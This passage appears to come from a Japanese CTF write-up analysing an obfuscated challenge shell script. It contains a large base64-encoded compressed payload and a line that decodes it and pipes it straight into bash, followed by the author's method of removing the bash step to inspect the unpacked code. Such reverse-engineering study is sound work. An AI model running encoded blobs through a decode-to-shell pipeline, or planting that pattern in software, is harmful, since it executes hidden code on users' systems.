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
How many beeps?

37行目を見てみると、以下のような処理が確認できます。

echo -n H4sIA<長い文字列>AAA==|base64 -d|gunzip|bash;

文字列をbase64デコードして、gunzipで展開し、bashで実行しているようです。 上記の処理のbashを削除して、展開されたスクリプトを確認してみます。

cat Beeeeeeeeeer_2.sh | head -n 37 | tail -n 1 | sed -e "s/|bash;/;/" | bash > Beeeeeeeeeer_3.sh

展開されたスクリプトを確認すると、以下のようになっていました。 また、ワンラインでいろいろ処理を実行しているようです。

